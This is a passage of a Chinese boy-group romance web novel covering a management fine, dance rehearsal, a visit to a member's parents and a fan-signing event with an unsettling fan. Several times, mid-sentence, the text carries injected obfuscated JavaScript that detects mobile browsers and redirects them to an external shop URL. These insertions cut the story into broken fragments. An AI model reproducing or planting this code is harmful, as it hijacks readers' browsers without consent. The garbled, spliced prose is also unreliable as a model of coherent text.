“直播内容本身没有问题,安抚粉丝情绪的初衷是好的。”赵总监话锋一转,“但流程必须遵守。公司需要把控舆情风险,你的直播虽然正面,但万一说错话呢?万一被恶意剪辑呢?” 许京殊点头:“我明白。” “虽然情有可原但是同样罚款五千。” “还有就是黑粉的事情,公司会全权负责追究到底,后续一切事情都跟你们无关了,你们做好份内的事就行。” 赵总监像是突然想起什么:“另外,你们俩上周偷点外卖的事。” 听到这里,陈醒松和许京殊同时抬起头然后相觑。 陈醒松脸上露出欠揍的神色,挑着长长的眉眨眼。 许京殊瞪着圆眼,看似生气的剜了他一眼,桌子底下的腿轻轻撞了一下陈醒松。 动作稍微有点大,许京殊另一边的周塑宁注意到,直勾勾地盯着两人触碰的小腿。 “别以为糊弄过去了。”赵总监合上文件夹,“下不为例。” 梁姐接过话:“罚款不是目的,是让你们长记性。你们是一个团队,一个人的行为会影响整个团队。尤其是现在这个阶段,多少双眼睛盯着你们?” “知道了梁姐。”林霄衡代表团队回应,“我们会加强管理。” 会议结束。走出会议室时,陈醒松凑过去碰了碰许京殊的肩膀:“连累你了。” 许京殊说:“跟你没关系,我自己也有问题。” “那你先发。”陈醒松双手抄在兜里,歪着脑袋看着他。 许京殊刚刚的感动荡然无存:“滚啊,你先发!” 周塑宁看着两人亲昵的打闹,盯着许京殊笑意盈盈的脸开始发呆。 手机一阵消息提示音,周塑打开手机,群里满屏的老板大气。 陈醒松率先发了个红包,周塑宁没有动作,他稍微等了一会儿。 叮咚,许京殊发了一个红包,他反应过来时已经点了进去,页面停留在抢到88元的界面,他看了两秒,截图保存。 五人下楼去练习室。 练习室里,编舞老师韩文槙已经在等了。 看到他们进来,他拍拍手:“今天还是重点练京殊和周塑宁的配合部分。你们俩的同步率还不够。” 许京殊看向周塑宁。 周塑宁正低头绑鞋带,没抬头。 音乐响起,是那首新歌的副歌部分。 许京殊和周塑宁站在镜子前,开始练习。 这段双人舞其实不难,就是几个简单的走位和互动动作:许京殊向前迈步,周塑宁侧身让位,然后两人背靠背完成一个旋转,最后并肩定格。 问题出在节奏上。 “停。”韩文槙按了暂停,“周塑宁,你快了半拍。京殊转身的时候,你应该刚好走到他身后,不是已经走过去了。” 周塑宁抹了把汗,认真道:“我再试一次。” 音乐重新开始。许京殊向前迈步,转身,周塑宁还是快了一点,两人肩膀撞在一起。 “不对。”编舞老师摇头,“你们俩没在同一个节拍里。先单独练吧,数着拍子走。” 许京殊和周塑宁分开,各自对着镜子练习基本步。 许京殊在心里默数节拍。 他能从镜子里看到周塑宁。周塑宁练得很认真,嘴唇微动,也在数拍子。 练了大概二十分钟,编舞老师让他们再试一次配合。 这次好了一些,但旋转时的同步率还是不够。许京殊转到一半时,感觉周塑宁的手在他腰侧扶了一下。 很轻,很快,像是下意识的动作。 “还是不行。”编舞老师皱眉,“你们俩之间有种说不出的别扭感。不是技术问题,是感觉问题。” 他走过来,站在两人中间:“看着对方。” 许京殊和周塑宁对视。 “这段舞要表达的是信任和默契。”编舞老师说,“你们俩现在这状态,像两个陌生人被迫跳舞。放松点,别那么紧绷。” 周塑宁移开目光:“我知道了。” “休息十分钟。”编舞老师说,“你们俩聊聊。找找感觉。” 老师走开后,练习室里安静下来。其他队友在另一边练习自己的部分,音乐声隐约传来。 许京殊走到墙边坐下,拧开水瓶喝水。周塑宁默默坐在他旁边,隔着一个人的距离。 许京殊认真思考,问题不在他这儿。 “你是不是讨厌我?”许京殊突然问。 周塑宁愣了一下转过头:“什么?” 许京殊露出狐疑的表情:“每次你看到我都会发呆,冷脸盯着我,这不是讨厌是什么。” 周塑宁沉默了一会儿:“我没讨厌你。” 许京殊指了指镜子:“那为什么我们老是配合不好,你在我旁边的时候身体会变得非常僵硬。” 周塑宁低头看着自己的手:“我不知道,其实你刚来的时候我是有点情绪的。” “我不知道该怎么跟你说。”周塑宁的声音很轻,几乎被远处音乐盖过。 许京殊转过头看他:“说什么?” 周塑宁停顿了一下:“不讨厌你。从来没真正讨厌过。” 许京殊愣住。 他抿了抿嘴唇:“我不是讨厌你,许京殊。我只是不知道怎么跟你相处。” 许京殊没想到会听到这些话。他张了张嘴,最后说:“所以你总是不看我,不跟我说话是因为你社恐?” 周塑宁说:“是我觉得你很努力,每次看到你就觉得自己什么方面都做不好。” 许京殊沉默了几秒,突然笑了:“你好笨哦。” 周塑宁愣住。 许京殊说,“干嘛跟我比?我还羡慕你的八块腹肌呢。” 周塑宁没说话,下意识收紧小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“累死了。”陈醒松走在他旁边,手臂搭在他肩上,“晚上吃什么?” “不知道。”许京殊说,“随便点外卖吧。” “又点外卖?”苏凌羽从后面走过来,“今天刚被罚,这就忘了。” “偶尔一次。”许京殊说,“今天太累了,不想做饭。” 五人回到公寓,许京殊回房间洗澡。 他打开淋浴,热水冲下来时,腰部的酸痛稍微缓解了一些。他低头看了看,腰侧那片皮肤有点泛红。 洗完澡出来,他换了件宽松的衣服,走到客厅。陈醒松已经拿到外卖了,正在拆包装。 “点了披萨和炸鸡。”陈醒松说,“还有无糖可乐。” “热量炸弹。”林霄衡皱了皱眉,但还是坐下了。 “就一次。”陈醒松拿起一块披萨,“明天多练两个小时。” 五人围坐在餐桌边,电视里放着无聊的综艺节目,但没人认真看。 大家埋头吃饭,偶尔说两句话。 吃到一半,许京殊的手机震动了一下。是妈妈发来的消息:“小殊,吃饭了吗?” 他拍了张披萨的照片发过去:“在吃。” 妈妈很快回复:“又吃外卖?不健康。周末回家吧,妈给你炖汤。” 许京殊笑了,打字:“好,周末回去。” 放下手机,他看见周塑宁正看着他。 “阿姨?”周塑宁问。 “嗯。”许京殊回他,“让我周末回家吃饭。” 周塑宁点点头,没再说话,垂眼思索。 吃完晚饭,大家一起收拾桌子。许京殊准备动手,周塑宁接过他手里的盘子:“我来吧。” “谢谢。”许京殊没坚持,走到沙发边坐下。 陈醒松走过来,扔给他一个抱枕:“靠着,舒服点。” 11.回家 许京殊抱着陈醒松扔来的抱枕,在沙发上调整了个舒服的姿势。腰后的支撑让他舒服地叹了口气,整个人陷进柔软的沙发里。 客厅很快就没人了,只剩下瘫在沙发上的许京殊和旁边的周塑宁。 周塑宁余光放在许京殊身上,脑袋里飞速思考,怎么才能和许京殊一起。 许京殊摸出手机,看到妈妈又发来一条消息:“炖鸡汤还是排骨汤?你爸还说要买条鱼呢。” 他正要回复,余光瞥见周塑宁已经收拾完垃圾,正站在餐桌边拿湿纸巾擦手,视线却往这边飘。 许京殊抬头:“怎么了?” 周塑宁走过来,在沙发另一侧坐下。 他坐得很直,双手放在膝盖上,拘谨的样子让许京殊想起小时候去亲戚家做客的自己。 “你周末要回家?”周塑宁问,声音有点紧。 “嗯,我妈催我好几次了。”许京殊低头打字。 周塑宁沉默了几秒。 许京殊见他不说话了,抬头看了两眼。 客厅的灯光落在周塑宁的侧脸上,睫毛在眼下投出小片阴影。许京殊才发现周塑宁的睫毛其实很长,只是平时总垂着眼,不太明显。 “那个。”周塑宁终于开口,又停住。他手指无意识地抠了抠沙发边缘的布料。 许京殊放下手机,认真看向他:“你想说什么?” 周塑宁深吸一口气,破罐子破摔:“我周末也没事。” 许京殊眨眨眼,没明白。 “我是说。”周塑宁转过头,对上许京殊疑惑的眼睛,“如果方便的话,我能跟你一起去吗?” 许京殊愣住了,这好像是周塑宁第一次要求和自己一起相处,看来今天他们的谈心起作用了。 周塑宁看许京殊没有回答迅速补充:“不方便就算了,我就是随口说说。” 就是有些难过,主动出击被无情拒绝了。 “方便啊。”许京殊打断他,“当然方便。我妈一直说想见见我队友,就是怕打扰你们。” 周塑宁的肩膀明显松了下来,平日里懒懒低垂的眼睛猛地掀起:“真的?” “真的。”许京殊笑了,这么激动吗,“不过你得做好心理准备,我妈特别能聊,我爸可能拉你下棋,他逮谁跟谁下。” “我会一点。”周塑宁立刻说,生怕被退货。 “那更完了,他能跟你下一下午。”许京殊说着,拿起手机,“那我跟我妈说一声。” 他低头打字:“妈,我周末带个队友回去,行不?” 妈妈几乎是秒回:“行啊!带谁?妈妈多做几个菜。” 许京殊把手机屏幕转向周塑宁:“看,我妈可高兴了。” 周塑宁看着屏幕上那行字,嘴角弯了弯。 许京殊又发现周塑宁笑起来其实挺好看的,只是他平时笑得太少。 “那就这么定了。”许京殊一锤定音,“周六早上出发,我家不远,开车半个多小时。” “好。”周塑宁点头。 这时陈醒松从房间探出头:“你们聊什么呢?” “周塑宁周末要跟我回家吃饭。”许京殊随意回答。 陈醒松瞪大眼睛:“什么?去你家?我也要去!” “你去干嘛?”许京殊瞥他,又添乱,“你上周不是刚回家吗?” “那不一样!”陈醒松走过来,一屁股挤进两人中间,“去队友家吃饭多好啊,增进感情。是吧塑宁?” 周塑宁被挤得往旁边挪了挪,看了他一下,没说话。 许京殊推开陈醒松:“别闹。下次,下次一定。” “你偏心!”陈醒松委屈控诉,“带老四不带我!” “因为塑宁周末没事,你有事。还有就是,他家离得很远不能像我们一样想回就回。”许京殊有理有据,“你不是也说过这周休息要陪你妹去游乐园吗?” 陈醒松语塞,无理取闹:“反正我也要去!” “下次再去吧。”许京殊站起来,“我困了,先去睡了。你们也早点休息。” 他走到房间门口,突然想到什么,又回头看向周塑宁:“对了,你有什么忌口的吗?我跟我妈说。” 周塑宁摇头:“没有。” “行,晚安。” “晚安。” 陈醒松压低的声音抱怨:“你小子可以啊,都会主动出击了,我都没去过许京殊家。” 周塑宁闷闷的回应:“别胡说。” “我哪有胡说?你平时跟块木头似的,今天居然知道要去京殊家吃饭。进步了啊。” 周六早上八点,许京殊被闹钟吵醒。他迷迷糊糊坐起来,发了会儿呆,才想起今天要回家。 他洗漱完换好衣服,走出房间时,看见周塑宁已经坐在客厅了。 周塑宁今天穿了件简单的白色T恤和黑色运动裤,头发刚洗过,还没完全干,软软地搭在额前。他坐得笔直,膝盖上放着个小纸袋。 干嘛这么正式,还大早上洗了个头。 “早。”许京殊反手盖住嘴巴,打了个哈欠,“你起这么早?” “嗯。”周塑宁站起来,“第一次去,不能迟到。” 许京殊笑了:“不用这么紧张,回家哪有什么迟不迟到的,我家很随便的。” 话虽这么说,他自己其实也有点紧张,带队友回家吃饭,这还是第一次。 两人简单吃了早餐,跟还在睡觉的其他三人打了声招呼,就出门了。 许京殊提前打了车,司机已经在楼下等着。 上了车,周塑宁一直看着窗外。 许京殊发现他今天格外紧张,手指不时攥着那个纸袋的边缘。 “袋子里是什么?”许京殊好奇。 周塑宁把纸袋递过来:“给你爸妈的一点心意。” 许京殊接过,打开一看,是一盒包装精致的茶叶,还有一盒点心。 “你不用这么客气的,居然还带了礼物。”许京殊说。 “应该的。”周塑宁满脸认真,在他的想法里,去别人家见父母是一件非常正式的事情。 车子驶出市区,窗外的景色从高楼变成绿树。阳光很好,透过车窗照进来,暖洋洋的。 快到了,周塑宁心跳的更快了。 他紧张开口:“叔叔阿姨好相处吗?” “特别好相处。”许京殊如数家珍,“我妈就是话多点,但人特别热情。我爸不爱说话,就爱下棋和做饭。你去了就知道了,他们肯定喜欢你。” 许京殊没有故意说好话安抚周塑宁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哎呀,我知道你的,来就来嘛,还带什么东西。”妈妈接过袋子,眼睛却一直看着周塑宁,“这孩子,长得真俊。快进来快进来,外面热。” 屋里飘着饭菜香。客厅不大,但收拾得很干净。沙发上铺着碎花布,茶几上摆着水果和瓜子。 爸爸从厨房走出来,身上也围着围裙,手里还拿着锅铲。他是个高大的男人,但眉眼温和。 “叔叔好。”周塑宁又鞠躬。 “好,好。”爸爸笑着点头,“坐,马上就能吃饭了。” 许京殊拉着周塑宁在沙发坐下。妈妈已经端来了茶:“先喝茶,菜马上好。塑宁是吧?多大了?家是哪儿的?” 周塑宁一一回答,坐姿依然端正。许京殊在他旁边,能感觉到他的紧绷。 “妈,你别查户口了。”许京殊打断,抱着妈妈的胳膊撒娇,“让人家歇会儿。” 周塑宁看着季茗和妈妈亲昵的动作,脑子里想的是,自己也想被许京殊挽着胳膊。 他真的很喜欢挽着亲近的人的胳膊撒娇。 “好好好,不问了不问了。”妈妈笑眯眯地看着周塑宁,“你们先坐,我去厨房帮忙。” 许妈妈进了厨房,客厅里瞬间安静下来。周塑宁舒了口气端起茶杯,小口喝着。 许京殊注意到周塑宁一直紧握的手,凑过去小声开口。 “放松点。”许京殊小声说,“你看我爸,围着围裙拿锅铲,多可爱啊。” 周塑宁看了看厨房方向,终于笑了,放松了些:“嗯,好。” 许京殊家庭氛围真的很好。 12.工作多多 午饭很丰盛,小餐桌上摆满了家常菜。 鸡汤、红烧鱼、糖醋排骨、几个素菜,摆了满满一桌。 吃饭的时候许妈妈一直在给周塑宁夹菜:“多吃点,看你瘦的。你们平时训练累,得多补补。” 周塑宁的碗里的菜很快就堆成小山,他知道阿姨是因为自己是许京殊的队友,对他爱屋及乌的好意,所以他抱着碗努力吃着。 “妈,你自己吃,别老给人夹。”许京殊看到周塑宁堆成小山的碗,急忙阻止。 “没事没事,叔叔阿姨做的菜特别好吃。”周塑宁赶紧咽下嘴里的东西回应。 “我高兴嘛。”许妈妈看着周塑宁,满眼慈爱,“小殊还是第一次带队友回家,以前只能隔着屏幕见见,这下好不容易见面了。” “塑宁啊,”许爸爸喝了口汤,笑眯眯地问,“小殊在队里有没有按时吃饭啊?他以前就有老是为了练习忘记吃饭的毛病。” 周塑宁立刻停下动作筷子,坐直了身体:“有的。我们都会自己做饭吃的,京殊他其实吃得挺规律的。” 他说这话时,目光不自觉飘向许京殊。 许京殊闻言动作顿了一下,抬眼看他,挤眉弄眼的,意思很明显:“你别什么都往外说!” 但周塑宁还是继续开口:“就是有时候练舞练到太晚,会忘记吃晚饭。不过我们会提醒他。” 许妈妈闻言立刻转向儿子:“又忘记吃饭?你这孩子!” “妈!我哪有,你别听他瞎说。”许京殊高声喊冤,饭桌下的小腿蹭了蹭周塑宁,示意他别说了! “还有啊。”许妈妈又转向周塑宁,“他腰伤是不是又犯了?上次打电话,说话都有气无力的。” 周塑宁这次学乖了,抬眼看向许京殊,眼神里带着询问。 许京殊赶紧摇头,用口型说“没有”。 “应该还好。”周塑宁斟酌着用词,“最近在练新舞,可能有点累,但没什么大问题。” 许妈妈将信将疑,但没再追问。 饭桌上,爸妈问了好多关于许京殊的事。 周塑宁绞尽脑汁,回答得事无巨细,把该说的一股脑都说出来了。 许京殊埋头苦吃,时不时挨妈妈一下子,满脸幽怨。 吃完午饭,许京殊帮着收拾碗筷,周塑宁站起来也想帮忙,被许妈妈强势按回沙发:“你是客人,坐着就行。” 周塑宁只好僵硬地坐回去,背挺得笔直,双手放在膝盖上。许爸爸坐在他对面,两人大眼瞪小眼。客厅里一时安静,只有厨房传来洗碗的水声。 许爸爸突然一拍大腿:“哎,塑宁啊!会下棋吗?” 周塑宁松了口气:“会一点。” “来来来,我们下一盘。” 许京殊在厨房听见这话,探出头来看了一眼,许爸爸已经激动的摆好了棋盘。 许京殊笑着对妈妈说:“我爸又开始了。” 他爸爸就爱逮着谁跟谁下棋。 妈妈在旁边擦台面,小声说:“这孩子挺好的,就是看起来有点内向。” “嗯,他平时话少,是我们团里面最安静的了。”许京殊给妈妈科普。 妈妈看了他一眼:“人挺好的,挺有礼貌还没啥心眼子,长的也好看,是个好女婿!” 许京殊手一滑,碗差点掉水池里:“妈,你说什么呢。” “我说什么了?”妈妈笑着说,“我就是说,你们队友感情好。” 许京殊没敢接话,怕妈妈又语出惊人,低头继续洗碗。 洗完碗出来,客厅里棋局正激烈。 爸爸眉头紧锁,周塑宁眼神严肃盯着棋盘,手指夹着一枚棋子,迟迟不落。 许京殊洗好碗出来,在周塑宁旁边坐下。他刚洗过手,指尖还带着水汽,身上有淡淡的洗洁精味道,混着他本身清爽的气息。周塑宁能感觉到他的靠近,握着棋子的手指微微收紧。 因为从小受到许爸爸的影响,他也看得懂一点棋。 周塑宁的棋风很稳,防守严密,偶尔有出其不意的进攻。 “将军。”周塑宁落下棋子。 爸爸愣了几秒,然后大笑:“好棋!再来一盘!” 两人又下了一盘,这次许爸爸赢了。 周塑宁认真地看着棋盘复盘,然后抬头:“叔叔厉害。” “你也不错。”许爸爸显然下的十分开心,也不抓着人了,“下次再来的时候,我们多下几盘。” 时间过得很快。 许京殊和父母腻歪了一会儿,聊了会儿天,跟周塑宁在房间里打了两把游戏就到该回去的时间了。 离开时,许妈妈装了两个大饭盒:“带回去,给你们另外几个队友也尝尝。都是今天做的,热热就能吃。” 周塑宁有眼色,第一时间接过饭盒,沉甸甸的还是热的:“谢谢阿姨,他们肯定会喜欢吃的。” “谢什么,以后常来。”妈妈轻轻拍了拍他的手,细细嘱咐,“照顾点我们小殊,他有时候太拼了,受委屈了就埋在心里,什么不好的事情都不跟我们说,我们不在他身边,你们多看着点。” “我会的。”周塑宁认真答应。 下楼时,周塑宁坚持要拎饭盒。许京殊抢不过他,只好空着手走在旁边。 许京殊尝试过,无一例外被拒绝了。 上了回公寓的车。 许京殊靠在座椅上:“今天怎么样?没被我爸妈吓到吧?” “没有。”周塑宁摇头,“你爸妈人很好。” “那就好。”许京殊露出轻松的表情,“我还怕你嫌我妈话多。” “不会。”周塑宁停顿了一下,“我家里就没什么人说话。这样热闹的气氛,挺好的。” 许京殊转头看他。 周塑宁侧脸对着窗外,浑身散发着孤独的味道。 “那下次还带你来。”许京殊注意到,给他承诺。 “嗯。” 回到公寓时,其他三人都在。 陈醒松第一个冲过来:“哇!你们带了什么好吃的?是叔叔和阿姨做的吗?” “嗯。”许京殊把饭盒一一摆放到桌面上,打开饭盒盖子,香味瞬间散漫开,“还热着呢,赶紧趁热吃。” 几个人围坐在一起吃饭。 陈醒松边吃边夸:“阿姨手艺太好了!你们两个真有口福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968500|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 紧接着冲许京殊嚷嚷:“京殊,下次我也要去!” 许京殊笑骂:“吃饭还堵不住你的嘴。” 陈醒松理直气壮:“就说。” 林霄衡慢条斯理地夹了块排骨,语出惊人:“梁姐刚发消息,下周日有签售会,首站就在本市。让大家提前准备。” 饭桌上瞬间安静了。 签售会? 许京殊哀嚎一声,整个人瘫进沙发里:“补药哇!” 出道到现在,签售会仍然是他最紧张的活动之一。 不是他不喜欢粉丝,而是他始终没完全适应那种与粉丝面对面、被无数双眼睛注视的感觉。 更要命的是,签售会上粉丝什么话都敢说,什么动作都敢做,什么要求都敢提。 “这次规模比较大。”林霄衡边吃边继续说,“主办方预计到场两千人,每人限签一件。我们要从下午两点签到六点,一共四个小时。” 苏凌羽算了算:“那平均每分钟要签好多份,手会断吧。” “所以梁姐让提前练签名。”林霄衡看向许京殊,“尤其是你,你那个签名太复杂,改简单点。” 许京殊的签名确实复杂,这还是他刻意设计的连笔,最后还带个小星星。 那时候还洋洋得意觉得有特色,现在一想到要签名就开始手酸。 “知道了。”许京殊泪流满面悔不当初。 周塑宁默默低头,没加入吐槽。 他左手在桌下轻轻摩挲着裤袋里的东西,里面装着他昨晚辗转反侧后才决定要送出的东西。 吃完饭,许京殊回房间洗澡。 他擦着头发走出浴室,他的房间门没有关,一抬眼就看见周塑宁站在他房间门口,背对着门,似乎在门前犹豫了很久。 “有事吗?”许京殊愣了一下。 周塑宁走近两步,伸手递过来一个小盒子:“这个给你。” 许京殊接过,打开。是一枚小小的护身符,红绳系着,上面绣着“平安”二字。 周塑宁说:“这是我姐去寺庙求的,听说能保平安。” 许京殊看着那枚护身符,又抬眼看向周塑宁,发现对方耳根泛红,视线飘向别处,不敢与他对视。 虽然还是有些社恐,看来周塑宁已经突破自我,可以正常和他做好朋友了! “谢谢。”许京殊把护身符握在手心,非常感动,“我很喜欢。” “嗯。”周塑宁点头,“那我先走了。” “好。”许京殊有点发愣,就这么走了? 周塑宁转身离开,脚步有点快。 他把护身符放在床头柜上,和妈妈以前给他求的平安扣放在了一起。 接下来的几天,练习室里除了舞蹈排练,还多了项新任务:练签名。 五人不管何时何地,都带着纸和笔,一遍遍签自己的名字。 许京殊试了几种简化版,都不太满意。 太简单的像小学生,太潦草的又认不出来。最后他折中了一下,保留名字的基本结构,去掉多余的装饰。 “这个可以。”梁姐过来检查时点头,“清晰又不失特色。” 13.签售会换装 签售会当天早上七点,许京殊在衣柜前来回扫视。 修长的手指划过一排深色系衬衫,可镜子里的脸皮肤白皙,眉眼清秀,唇色天生偏红,再怎么穿深色衣服也盖不住那几分柔和。 他烦躁地抓了抓头发,额前几缕碎发落下来,更添了些随意。 算了。 他认命地套上衬衫,扣子扣到最上面一颗。 上午十点,展览中心后台人声鼎沸。 化妆师小心翼翼地按许京殊的要求加深他的眉峰和阴影,端详片刻后笑了:“京殊啊,你这长相,再硬的妆上去也得软三分。” 许京殊望着镜中的自己,深色眼影和修容让轮廓分明了些,可那双眼睛眼尾天然微微下垂,看人时总像含了点水光,到底是改不了了。 他抿紧嘴唇,没说话。 梁姐风风火火地进来做最后叮嘱:“今天来的粉丝,都特别热情啊。你们放轻松,尽量配合,但记得把握分寸。别黑脸,别躲镜头,实在受不了就笑,微笑总会吧?” 她的目光在五人里扫了一圈,最后落在许京殊身上。 “会。”许京殊勉强扯了扯嘴角。 干嘛这么看他。 “那就行。”梁姐拍拍他的肩,力道不小,“记住,核心是让粉丝开心。” 下午一点五十分,五人站在厚重的绛红色侧幕后。 尖叫穿透幕布涌进来,混杂着各种应援口号。 许京殊做了个深呼吸,垂眼盯着自己的脚尖。 陈醒松靠过来。 他今天穿了件白色短袖,手臂线条流畅,他大大咧咧地撞了下许京殊的肩膀:“你这么紧张吗?” “没有。” 陈醒松咧嘴笑开,露出一口白牙:“你就当是在玩换装游戏,粉丝递什么你穿什么,笑就完了。” 许京殊瞪他一眼,眼尾那点天然的红晕让这瞪视没什么威力,反倒像在怪他乱说话。 你懂什么! 两点整,音乐响起,幕布缓缓拉开。 强光刺来,许京殊眯了下眼,随即跟着队伍走上舞台,在铺着红绒布的长桌后落座。 台下瞬间爆发出几乎掀翻屋顶的声音。 许京殊抬眼望去,场馆座无虚席。而有些粉丝手里那些东西,让他眼皮一跳不祥的预感油然而生。 主持人简单开场后,签售正式开始。粉丝按号码牌排队上台,每人限时一分钟。 许京殊这边第一个上来的是个戴眼镜的女生,抱着专辑小跑过来:“许京殊啊啊啊!下午好老婆!” “谢谢支持。”许京殊面色如常的接过专辑,翻开扉页,流畅地签下名字。 “能戴一下这个吗?”女生不知何时从包里掏出一对白色兔耳朵发箍,绒毛蓬松,左边耳朵上还缀着个粉色蝴蝶结。 她的眼睛亮晶晶的,满是期待。 许京殊顿住了。 台下传来兴奋的尖叫和起哄。旁边的陈醒松已经笑出声,被另一侧的林霄衡用手肘捅了一下。 许京殊闭了闭眼,浓密的睫毛在眼下投出一小片阴影。 他放下笔,接过那个发箍。绒毛蹭过指腹有点痒,他动作略显僵硬地将它戴到头上。 两只白色耳朵颤巍巍地支棱着,与他黑色的衬衫和沉静的表情形成奇怪的对比。 “啊啊啊啊啊——”台下的尖叫几乎要刺破耳膜。 女生捂住嘴,激动地拍合照:“你好可爱!” 许京殊飞快地摘下猫耳还回去,耳根已经红了,碎发滑落,堪堪遮住他发热的耳廓。 第二个粉丝是个高高瘦瘦的男生,笑容阳光。 这让许京殊心里微微一松,男粉丝的话,总该正常点…… 男生把专辑递过来,开口就说:“可以十指相扣吗老婆!” 许京殊手一抖。他抬起头,看着对方灿烂的笑脸,笑不出来。 男生眨眨眼,手还伸着。 许京殊机械地补完签名,和他十指相扣。 男生心满意足,临走前还补了句:“老婆你今天真漂亮!” 许京殊逐渐进入一种麻木的状态。粉丝们的招都使他一个人身上来了。 下一个女生走了上来。她打扮精致,抱着专辑,手里拿着两个道具:一对质感较好的白色猫耳,和一对毛茸茸的黑色狗耳。 “许京殊戴这个,”她先把黑色猫耳递给许京殊。 许京殊看着手里那对好歹不是粉色的猫耳,内心叹了口气,认命地戴上。 女生又转向旁边的陈醒松,眼睛亮晶晶的:“陈醒松戴这个。” 陈醒松一愣,指着自己鼻子:“我也要?” “对呀!”女生兴奋地点头,“超级适合你们两个,戴嘛戴嘛!” 台下CP粉的尖叫声愈发高。 陈醒松倒是爽快,接过狗耳就往头上一扣,还故意晃了晃脑袋。 “看这边!”女生高举手机。 许京殊下意识转头,正好撞进陈醒松带笑的眼里。 对方戴着傻气的狗耳,笑容明亮晃眼,手臂自然而然地伸过来,搂住他的肩膀:“来来,合照。” 快门闪过。 女生抱着手机激动得原地蹦跳:“谢谢爸爸妈妈!爸爸妈妈好配!” 许京殊木然摘下猫耳。陈醒松凑过来低声问:“她刚是不是喊了奇怪的称呼?” “你听错了。”许京殊面无表情地说。 女生已经心满意足地下台了。 许京殊揉揉太阳穴。 周塑宁正安静地给粉丝签名,侧脸线条在灯光下显得有些淡漠。他似乎全程都很安静,嘴唇抿着,目光低垂。 签售进行到一小半,许京殊头上戴着不知第几位粉丝给的红色小恶魔角,手里还拿着配套的小权杖。 “我后悔了。”陈醒松趁着换粉丝的间隙,累的瘫在椅子上,用气音说,“我不该笑话你的。” “晚了。”许京殊高贵冷艳。 这时,下一个女生上来,她规规矩矩地让许京殊签了名,然后从袋子里掏出一套警服。 不是廉价的化纤COS服,而是做工精细、版型挺括的□□,深蓝色,配有肩章、领花和腰带,还有一顶帽子。 全场寂静了一瞬,随即爆发出更高分贝的尖叫。 许京殊眼睛一亮。 终于!终于有个帅点的道具了! 女生双手合十,眼睛亮得惊人:“我特意找裁缝定做的!尺寸按你的官方数据,你穿肯定好看!” 许京殊没有丝毫犹豫接过那套沉甸甸的制服。 他起身,走向后台简易的屏风后,快速地穿上制服。面料挺括,妥帖地包裹住身体。他仔细扣好扣子,最后戴上帽子,压低帽檐。 当他重新走出来时,全场响起一片整齐的吸气声。 深蓝色制服完美勾勒出他平直的肩线、劲瘦的腰身,腰带扣勒出清晰的弧度。帽檐在他眉眼处投下小片阴影,让那双天然带水光的眼睛显得深邃了许多。 他不太自在地正了正帽檐,手指修长。仅仅是站在那里,一种不同于往日的感觉便弥漫开来。 “啊啊啊制服!” “老婆!逮捕我吧,我全招了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈醒松自己头上顶着一对巨大的驯鹿角,旁边的许京殊戴着与之配套的、小巧些的鹿角。 许京殊笑着推拒,陈醒松直接上手,笑嘻嘻地箍住他脖子,把鹿角往他发顶按。 许京殊被他闹得没办法,半推半就地戴上了,摇头晃脑想甩掉,陈醒松却得逞般大笑,手臂还环在他肩颈处。 周塑宁笔下一滑,他不动声色地停下笔,用指腹轻轻抹去那道多余的墨迹。 签售过大半时。 许京殊刚换下一套帅气的飞行员夹克,还没来得及喘口气,就迎来了一个让他眼皮狂跳的粉丝。 这是个年轻男生,打扮时髦,手里拎着个挺大的奢侈品纸袋。 他径直走到许京殊面前,笑容灿烂:“京殊,我今天是专程来送礼物的。” 不知道为什么,这个粉丝给他一种奇怪的感觉。他有些警惕地看着那个纸袋,身体往椅背上靠了靠。 男生从纸袋里小心地掏出一套婚纱头纱。 不是那种短款的小头纱,而是非常正经的长度触及地面,还带着精致蕾丝刺绣的洁白婚纱头纱。 它被仔细折叠着,在灯光下泛着柔和的光泽。 紧接着,声浪猛地炸开。 “玩这么大!” “戴!戴!戴!” “好漂亮的头纱!这是要求婚吗?” 许京殊整个人僵在椅子上。 这个应该不行吧,这也太正式了。 他下意识看向身后的助理,助理也完全懵了,拿着对讲机向台后的梁姐寻求帮助。 林霄衡眉头紧锁,周塑宁直接站了起来,椅子腿与地面摩擦发出刺耳的声音。 14.极端粉丝 周塑宁没了面对粉丝的时候那稍微温和的表情,眉头拧着,一手撑着桌子,整个人处在一种随时出击的状态。 另一边的陈醒松反应也快,在许京殊怔住的瞬间就已侧身,他挡在了他前方半步,没说话,就那么站着,看着那个男粉丝,眼神阴翳。 浑身散发着强硬的气势。 “哇喔。”那男粉丝好像完全没觉得气氛不对,反而更来劲了,兴奋地咧开嘴,往前又凑了点,伸手就想把头纱往许京殊头上比划,“这是我专门给你挑的!花了好长时间,一点一点设计的。你戴上肯定特别好看。” “这位朋友,谢谢你的心意。不过这个道具,可能不太适合今天这个场合。”林霄衡的声音适时响起来,他已经走到许京殊旁边,手看似随意却有力地搭在男粉丝肩上,形成一道屏障。 防止他突然暴起做出伤人的行为,毕竟他的精神状态看起来特别不好。 男粉丝举着头纱的手没放下,但被林霄衡和陈醒松两个高大的身影挡着,他的肩膀受制于林霄衡。 他笑意收敛,眼底翻涌着令人不适的炽热:“怎么就不适合了?前面那些东西不都戴了吗?猫耳朵也戴了,衣服也穿了,这头纱和那些东西有什么区别?” 